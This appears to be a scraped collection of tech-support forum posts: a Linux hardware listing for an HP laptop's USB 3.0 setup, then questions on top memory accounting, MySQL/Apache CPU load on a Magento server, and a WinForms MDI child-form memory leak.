description: USB controller product: 5 Series/3400 Series Chipset USB2 Enhanced Host Controller vendor: Intel Corporation physical id: 1d bus info: pci@0000:00:1d.0 version: 05 width: 32 bits clock: 33MHz capabilities: pm debug ehci bus_master cap_list configuration: driver=ehci_hcd latency=0 resources: irq:20 memory:d4205800-d4205bff *-pci:4 description: PCI bridge product: 82801 Mobile PCI Bridge vendor: Intel Corporation physical id: 1e bus info: pci@0000:00:1e.0 version: a5 width: 32 bits clock: 33MHz capabilities: pci subtractive_decode bus_master cap_list *-isa description: ISA bridge product: Mobile 5 Series Chipset LPC Interface Controller vendor: Intel Corporation physical id: 1f bus info: pci@0000:00:1f.0 version: 05 width: 32 bits clock: 33MHz capabilities: isa bus_master cap_list configuration: latency=0 *-storage description: RAID bus controller product: 82801 Mobile SATA Controller [RAID mode] vendor: Intel Corporation physical id: 1f.2 bus info: pci@0000:00:1f.2 logical name: scsi0 version: 05 width: 32 bits clock: 66MHz capabilities: storage msi pm bus_master cap_list emulated configuration: driver=ahci latency=0 resources: irq:45 ioport:5048(size=8) ioport:5054(size=4) ioport:5040(size=8) ioport:5050(size=4) ioport:5020(size=32) memory:d4205000-d42057ff *-disk description: ATA Disk product: OCZ-VERTEX3 physical id: 0.0.0 bus info: scsi@0:0.0.0 logical name: /dev/sda version: 2.15 serial: OCZ-0350P6H316X5KUQE size: 223GiB (240GB) capabilities: partitioned partitioned:dos configuration: ansiversion=5 signature=000592dd *-volume:0 description: EXT4 volume vendor: Linux physical id: 1 bus info: scsi@0:0.0.0,1 logical name: /dev/sda1 logical name: / version: 1.0 serial: e741f18c-cfc5-4bce-b1e7-f80e517a3a22 size: 207GiB capacity: 207GiB capabilities: primary bootable journaled extended_attributes large_files huge_files dir_nlink recover extents ext4 ext2 initialized configuration: created=2012-06-15 06:49:27 filesystem=ext4 lastmountpoint=/ modified=2012-06-14 21:23:42 mount.fstype=ext4 mount.options=rw,relatime,errors=remount-ro,user_xattr,barrier=1,data=ordered mounted=2012-07-10 16:18:20 state=mounted *-volume:1 description: Extended partition physical id: 2 bus info: scsi@0:0.0.0,2 logical name: /dev/sda2 size: 15GiB capacity: 15GiB capabilities: primary extended partitioned partitioned:extended *-logicalvolume description: Linux swap / Solaris partition physical id: 5 logical name: /dev/sda5 capacity: 15GiB capabilities: nofs *-serial UNCLAIMED description: SMBus product: 5 Series/3400 Series Chipset SMBus Controller vendor: Intel Corporation physical id: 1f.3 bus info: pci@0000:00:1f.3 version: 05 width: 64 bits clock: 33MHz configuration: latency=0 resources: memory:d4205c00-d4205cff ioport:5000(size=32) *-pci:1 description: Host bridge product: Core Processor QuickPath Architecture Generic Non-Core Registers vendor: Intel Corporation physical id: 101 bus info: pci@0000:ff:00.0 version: 04 width: 32 bits clock: 33MHz *-pci:2 description: Host bridge product: Core Processor QuickPath Architecture System Address Decoder vendor: Intel Corporation physical id: 102 bus info: pci@0000:ff:00.1 version: 04 width: 32 bits clock: 33MHz *-pci:3 description: Host bridge product: Core Processor QPI Link 0 vendor: Intel Corporation physical id: 103 bus info: pci@0000:ff:02.0 version: 04 width: 32 bits clock: 33MHz *-pci:4 description: Host bridge product: Core Processor QPI Physical 0 vendor: Intel Corporation physical id: 104 bus info: pci@0000:ff:02.1 version: 04 width: 32 bits clock: 33MHz *-pci:5 description: Host bridge product: Core Processor Integrated Memory Controller vendor: Intel Corporation physical id: 105 bus info: pci@0000:ff:03.0 version: 04 width: 32 bits clock: 33MHz *-pci:6 description: Host bridge product: Core Processor Integrated Memory Controller Target Address Decoder vendor: Intel Corporation physical id: 106 bus info: pci@0000:ff:03.1 version: 04 width: 32 bits clock: 33MHz *-pci:7 description: Host bridge product: Core Processor Integrated Memory Controller Test Registers vendor: Intel Corporation physical id: 107 bus info: pci@0000:ff:03.4 version: 04 width: 32 bits clock: 33MHz *-pci:8 description: Host bridge product: Core Processor Integrated Memory Controller Channel 0 Control Registers vendor: Intel Corporation physical id: 108 bus info: pci@0000:ff:04.0 version: 04 width: 32 bits clock: 33MHz *-pci:9 description: Host bridge product: Core Processor Integrated Memory Controller Channel 0 Address Registers vendor: Intel Corporation physical id: 109 bus info: pci@0000:ff:04.1 version: 04 width: 32 bits clock: 33MHz *-pci:10 description: Host bridge product: Core Processor Integrated Memory Controller Channel 0 Rank Registers vendor: Intel Corporation physical id: 10a bus info: pci@0000:ff:04.2 version: 04 width: 32 bits clock: 33MHz *-pci:11 description: Host bridge product: Core Processor Integrated Memory Controller Channel 0 Thermal Control Registers vendor: Intel Corporation physical id: 10b bus info: pci@0000:ff:04.3 version: 04 width: 32 bits clock: 33MHz *-pci:12 description: Host bridge product: Core Processor Integrated Memory Controller Channel 1 Control Registers vendor: Intel Corporation physical id: 10c bus info: pci@0000:ff:05.0 version: 04 width: 32 bits clock: 33MHz *-pci:13 description: Host bridge product: Core Processor Integrated Memory Controller Channel 1 Address Registers vendor: Intel Corporation physical id: 10d bus info: pci@0000:ff:05.1 version: 04 width: 32 bits clock: 33MHz *-pci:14 description: Host bridge product: Core Processor Integrated Memory Controller Channel 1 Rank Registers vendor: Intel Corporation physical id: 10e bus info: pci@0000:ff:05.2 version: 04 width: 32 bits clock: 33MHz *-pci:15 description: Host bridge product: Core Processor Integrated Memory Controller Channel 1 Thermal Control Registers vendor: Intel Corporation physical id: 10f bus info: pci@0000:ff:05.3 version: 04 width: 32 bits clock: 33MHz *-battery description: Lithium Ion Battery product: NK06053 vendor: SMP-ATL24 physical id: 1 slot: Primary capacity: 4800mWh configuration: voltage=11.1V lspci: 02:00.0 USB controller: NEC Corporation uPD720200 USB 3.0 Host Controller (rev 03) (prog-if 30 [XHCI]) Subsystem: Hewlett-Packard Company Device 1522 Flags: bus master, fast devsel, latency 0, IRQ 16 Memory at d4000000 (64-bit, non-prefetchable) [size=8K] Capabilities: [50] Power Management version 3 Capabilities: [70] MSI: Enable- Count=1/8 Maskable- 64bit+ Capabilities: [90] MSI-X: Enable+ Count=8 Masked- Capabilities: [a0] Express Endpoint, MSI 00 Capabilities: [100] Advanced Error Reporting Capabilities: [140] Device Serial Number ff-ff-ff-ff-ff-ff-ff-ff Capabilities: [150] Latency Tolerance Reporting Kernel driver in use: xhci_hcd lsusb (with thumb drive plugged into USB3 port): Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 003: ID 5986:01d0 Acer, Inc Bus 001 Device 004: ID 03f0:231d Hewlett-Packard

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• Why don't %MEM values add up to mem in top?

  - by ben

  I'm currently debugging performance issues with my VPS and for that I'm trying to understand which of the processes eat the most memory. Reading top, here's what I get: Mem: 366544k total, 321396k used, 45148k free, 380k buffers Swap: 1048572k total, 592388k used, 456184k free, 7756k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 12339 ruby 20 0 844m 74m 2440 S 0 20.8 0:24.84 ruby 12363 ruby 20 0 844m 73m 1576 S 0 20.6 0:00.26 ruby 21117 ruby 20 0 171m 33m 1792 S 0 9.3 2:03.98 ruby 11846 ruby 20 0 858m 21m 1820 S 0 6.0 0:09.15 ruby 21277 ruby 20 0 219m 11m 1648 S 0 3.2 2:00.98 ruby 792 root 20 0 266m 10m 1024 S 0 3.0 1:40.06 ruby 532 mysql 20 0 234m 4760 1040 S 0 1.3 0:41.58 mysqld 793 root 20 0 250m 4616 984 S 0 1.3 1:20.55 ruby 586 root 20 0 156m 4532 848 S 0 1.2 6:17.10 god 12315 ruby 20 0 175m 2412 1900 S 0 0.7 0:07.55 ruby 3844 root 20 0 44036 2132 1028 S 0 0.6 1:08.22 ruby 10939 ruby 20 0 179m 1884 1724 S 0 0.5 0:08.33 ruby 4660 ruby 20 0 229m 1592 1440 S 0 0.4 2:55.46 ruby 3879 nobody 20 0 37428 964 520 S 0 0.3 0:01.99 nginx As you can see my memory is about 90% used (which is my issue) but when you add up the %MEM values, it goes to about 50-60% only. Same thing, RES doesn't add up to ~350mb. Why? Am I misunderstanding their meaning? Thanks

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• CPU Utilization LAMP stack

  - by Max

  We've got an ec2 m2.4xlarge running Magento (centos 5.6, httpd 2.2, php 5.2.17 with eaccelerator 0.9.5.3, mysql 5.1.52). Right now we're getting a large traffic spike, and our top looks like this: top - 09:41:29 up 31 days, 1:12, 1 user, load average: 120.01, 129.03, 113.23 Tasks: 1190 total, 18 running, 1172 sleeping, 0 stopped, 0 zombie Cpu(s): 97.3%us, 1.8%sy, 0.0%ni, 0.5%id, 0.0%wa, 0.0%hi, 0.0%si, 0.4%st Mem: 71687720k total, 36898928k used, 34788792k free, 49692k buffers Swap: 880737784k total, 0k used, 880737784k free, 1586524k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 2433 mysql 15 0 23.6g 4.5g 7112 S 564.7 6.6 33607:34 mysqld 24046 apache 16 0 411m 65m 28m S 26.4 0.1 0:09.05 httpd 24360 apache 15 0 410m 60m 25m S 26.4 0.1 0:03.65 httpd 24993 apache 16 0 410m 57m 21m S 26.1 0.1 0:01.41 httpd 24838 apache 16 0 428m 74m 20m S 24.8 0.1 0:02.37 httpd 24359 apache 16 0 411m 62m 26m R 22.3 0.1 0:08.12 httpd 23850 apache 15 0 411m 64m 27m S 16.8 0.1 0:14.54 httpd 25229 apache 16 0 404m 46m 17m R 10.2 0.1 0:00.71 httpd 14594 apache 15 0 404m 63m 34m S 8.4 0.1 1:10.26 httpd 24955 apache 16 0 404m 50m 21m R 8.4 0.1 0:01.66 httpd 24313 apache 16 0 399m 46m 22m R 8.1 0.1 0:02.30 httpd 25119 apache 16 0 411m 59m 23m S 6.8 0.1 0:01.45 httpd Questions: Would giving msyqld more memory help it cache queries and react faster? If so, how? Other than splitting mysql and php to separate servers (which we're about to do) is there anything else we could/should be doing? Thanks! UPDATE: Here's our my.cnf along with the output of mysqltuner. It looks like a cache problem. Thanks again! # cat /etc/my.cnf [client] port = **** socket = /var/lib/mysql/mysql.sock [mysqld] datadir=/mnt/persistent/mysql port=**** socket=/var/lib/mysql/mysql.sock key_buffer = 512M max_allowed_packet = 64M table_cache = 1024 sort_buffer_size = 8M read_buffer_size = 4M read_rnd_buffer_size = 2M myisam_sort_buffer_size = 64M thread_cache_size = 128M tmp_table_size = 128M join_buffer_size = 1M query_cache_limit = 2M query_cache_size= 64M query_cache_type = 1 max_connections = 1000 thread_stack = 128K thread_concurrency = 48 log-bin=mysql-bin server-id = 1 wait_timeout = 300 innodb_data_home_dir = /mnt/persistent/mysql/ innodb_data_file_path = ibdata1:10M:autoextend innodb_buffer_pool_size = 20G innodb_additional_mem_pool_size = 20M innodb_log_file_size = 64M innodb_log_buffer_size = 8M innodb_flush_log_at_trx_commit = 1 innodb_lock_wait_timeout = 50 innodb_thread_concurrency = 48 ft_min_word_len=3 [myisamchk] ft_min_word_len=3 key_buffer = 128M sort_buffer_size = 128M read_buffer = 2M write_buffer = 2M # ./mysqltuner.pl >> MySQLTuner 1.2.0 - Major Hayden <[email protected]> >> Bug reports, feature requests, and downloads at http://mysqltuner.com/ >> Run with '--help' for additional options and output filtering -------- General Statistics -------------------------------------------------- [--] Skipped version check for MySQLTuner script [OK] Currently running supported MySQL version 5.1.52-log [OK] Operating on 64-bit architecture -------- Storage Engine Statistics ------------------------------------------- [--] Status: +Archive -BDB +Federated +InnoDB -ISAM -NDBCluster [--] Data in MyISAM tables: 2G (Tables: 26) [--] Data in InnoDB tables: 749M (Tables: 250) [!!] Total fragmented tables: 262 -------- Security Recommendations ------------------------------------------- -------- Performance Metrics ------------------------------------------------- [--] Up for: 31d 2h 30m 38s (680M q [253.371 qps], 2M conn, TX: 4825B, RX: 236B) [--] Reads / Writes: 89% / 11% [--] Total buffers: 20.6G global + 15.1M per thread (1000 max threads) [OK] Maximum possible memory usage: 35.4G (51% of installed RAM) [OK] Slow queries: 0% (35K/680M) [OK] Highest usage of available connections: 53% (537/1000) [OK] Key buffer size / total MyISAM indexes: 512.0M/457.2M [OK] Key buffer hit rate: 100.0% (9B cached / 264K reads) [OK] Query cache efficiency: 42.3% (260M cached / 615M selects) [!!] Query cache prunes per day: 4384652 [OK] Sorts requiring temporary tables: 0% (1K temp sorts / 38M sorts) [!!] Joins performed without indexes: 100404 [OK] Temporary tables created on disk: 17% (7M on disk / 45M total) [OK] Thread cache hit rate: 99% (537 created / 2M connections) [!!] Table cache hit rate: 0% (1K open / 946K opened) [OK] Open file limit used: 9% (453/5K) [OK] Table locks acquired immediately: 99% (758M immediate / 758M locks) [OK] InnoDB data size / buffer pool: 749.3M/20.0G -------- Recommendations ----------------------------------------------------- General recommendations: Run OPTIMIZE TABLE to defragment tables for better performance Enable the slow query log to troubleshoot bad queries Adjust your join queries to always utilize indexes Increase table_cache gradually to avoid file descriptor limits Variables to adjust: query_cache_size (> 64M) join_buffer_size (> 1.0M, or always use indexes with joins) table_cache (> 1024)

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• MDI WinForm application and duplicate child form memory leak

  - by Steve

  This is a WinForm MDI application problem (.net framework 3.0). It will be described in C#. Sorry it is a bit long because I try to make things as clear as possible. I have a MDI application. At some point I find that one MDI child form is never released. There is a menu that creates the MDI child form and show it. When the MDI child form is closed, it is supposed to be destroyed and the memory taken by it should be given back to .net. But to my surprise, this is not true. All the MDI child form instances are kept in memory. This is obviously a "memory leak". Well, it is not a real leak in .net. It is just that I think the closed form should be dead but somehow there is at least one unknown reference from outside world that still connect with the closed form. I read some articles on the Web. Some says that when the MDI child form is closing, I should unwire all the event handlers, otherwise some event handlers may keep my form alive. Some says that DataBindings should be cleaned before the form is closing otherwise the DataBindings will add references to some global Hashtable and thus keep my form alive. My form contains quite a lot things. Many event handlers and many DataBindings and many BindingSources and few suspected controls containing user control and HelpProvider. I create a big method that unwires all the event handlers from all the relevant controls, clear all the DataBindings and DataSources. The HelpProvider and user controls are disposed carefully. At the end, I find that, I don't have to clear DataBindings and DataSources. Event handlers are definitely causing the problem. And MDI form structure also contributes to something. During my experiments, I find that, if you create a MDI child form, even if you close it, there will still be one instance in the memory. The reference is from PropertyStore of the main form. This means, unless the main form is closed (application ends), there will always be one instance of MDI child form in the memory. The good news is that, no matter how many times you open and close the child form, there will be only one instance, not a big "leak". When it comes to event handlers, things become more tricky. I have to address that, all the event handlers on my form are anonymous event handlers. Here is an example code: //On MDI child form's design code... Button btnSave = new Button(); btnSave.Click += new System.EventHandler(btnSave_Click); Where btnSave_Click is also a method in MDI child form. The above is always the case for various controls and various types of event. To me, this is a bi-directional circular reference. btnSave keeps a reference of MDI child form via the event handler. MDI child form keeps a reference of btnSave instance. To me again, such bi-directional circular reference should not cause any problem for .net's garbage collector. This means that I do not have to explicitly unwire the event when the form is being disposed: btnSave.Click -= btnSave_Click; But the truth is not so. For some event handlers, they are safe. Ignoring them do not cause any duplicate instance. For some other event handlers, they will cause one instance remaining in the memory (similar effect as the MDI form structure, but this time caused by the hanging event handlers). For some other event handlers, they will cause every instance opened in the memory. I am totally confused about the differences between these three types of event handlers. The controls are created in the same way and the event is attached in the same way. What is the difference? (Don't tell me it is the event handle methods that make difference.) Anyone has experience of this wired scenario and has an answer for me? Thanks a lot. So now, for safety issue, I will have to unwire all the event handlers when the form is being disposed. That will be a long list of similar code for each control. Is there a general way of removing events from controls in recursive way using reflection? What about performance issue? That's the end of my story and I am still in the middle of my problem. For any help, I thank you.

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